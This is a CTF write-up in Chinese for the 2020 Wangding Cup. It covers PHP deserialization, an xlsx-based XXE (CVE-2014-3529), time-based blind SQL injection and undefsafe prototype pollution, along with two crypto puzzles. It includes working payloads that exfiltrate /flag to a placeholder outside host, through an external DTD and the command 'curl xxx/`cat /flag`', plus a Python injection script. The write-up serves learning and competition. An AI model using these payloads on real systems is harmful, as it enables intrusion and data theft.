2020年第二届“网鼎杯”网络安全大赛青龙组 部分wp

WEB

AreUSerialz

%00进行限制,在题目环境试了一下可通过改protect为public绕(php7.2+),然后弱类型绕过来执行read(),不过发现读不了flag.php,但/etc/passwd是可以读的;尝试读取/proc下的值:
/proc/self/cmdline

/usr/sbin/httpd -DNO_DETACH -f /web/config/httpd.conf

/web/config/httpd.conf,发现有个路径为/web/html/;接着读/web/html/flag.php,成功读取,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class FileHandler {
public $op;
public $filename;
public $content;
public function __construct()
{
$this->op = 2;
$this->content = '1';
$this->filename = '/web/html/flag.php';
}
}
$a = new FileHandler();
echo serialize($a);

另外,使用S的时候,可以将不可见字符转成16进制,参考P神代码审计知识星球:

构造:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:18:"/web/html/flag.php";S:10:"\00*\00content";s:1:"1";}

至于为什么读源码需要绝对路径,可以做个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Test{
public function __construct(){
echo getcwd()."<hr>";
}

public function __destruct(){
echo getcwd();
}
}

$a = new Test();

filejava

在DownloadServlet处发现存在任意文件下载漏洞,不能下载/flag,但可下载WEB-INF/web.xml,找到映射路径下载class文件反编译读取Servlet源码,在UploadServlet中发现

1
2
3
4
5
6
7
8
9
10
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}

去年在SPWUCTF见过一次这种洞,属于CVE-2014-3529,可通过构造xlsx进行XXE读取,新建一个xlsx文件,解压,之后更改[Content_Types].xml,添加:

1
2
3
4
5
6
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://xxx/1.dtd">  
<!ENTITY % file SYSTEM "file:///flag">
%remote;
%send;
]>

VPS新建1.dtd

1
2
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://xxx:3000/?%file;'>">
%start;

监听端口,然后上传修改后的xlsx文件,VPS收到flag

trace

测了一下只有注册功能,并且注册超过一定数量就不行了;通过单引号可回显mysql error,便可通过insert时间盲注来做,不过由于注册数量限制,可以通过sleep,并且让服务端执行出错,来跑出数据

在本地测试,通过用or将溢出函数和sleep连接,在sleep之后会进行报错:

1
2
mysql> select sleep(3) or pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'

或者其他的:

1
2
mysql> select exp(sleep(3)+10000);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp((sleep(3) + 10000))'

推测后台执行语句:

1
$sql = "insert into user (username,password) values ('$username','$password');";

接着就是绕过关键字,猜表名注入跑数据,最终exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time

url = 'http://xxx/register_do.php'

flag = ''
for i in range(1,100):
print(i)
for j in range(33, 128):
data = {
'username':"'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)x limit 1,1),{},1))={}, pow(999,999) or sleep(3),pow(999, 999)),0)#".format(i, j),
'password':""
}
t1 = time.time()
res = requests.post(url, data=data)
t2 = time.time()
if t2 - t1 > 3:
flag += chr(j)
print(flag)
break

note

undefsafe这个模块以前存在过漏洞,可以进行原型链污染:

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

关键代码:

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

id和author、raw都是可控的,那么便可直接控制属性:

id=__proto__
author=curl xxx/`cat /flag`
raw=curl xxx/`cat /flag`

此时commands便有了上述authorraw_note属性;之后访问/status触发执行:

1
2
3
4
5
6
7
8
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}

CRYPTO

you raise me up

https://introspelliam.github.io/2018/03/26/crypto/%E5%B8%B8%E7%94%A8%E4%BA%8E%E5%AF%86%E7%A0%81%E5%AD%A6%E4%B8%AD%E7%9A%84%E7%AE%97%E6%B3%95/

使用Pohlig-Hellman算法解,用sage比较简单:

然后long_to_bytes

boom

先是给一个md5,somd5直接解,得到en5oy,然后是一个简单方程组,解得x=74,y=68,z=31,后面是一个方程x*x+x-7943722218936282=0,脚本运算得到x值为89127561,输入得到flag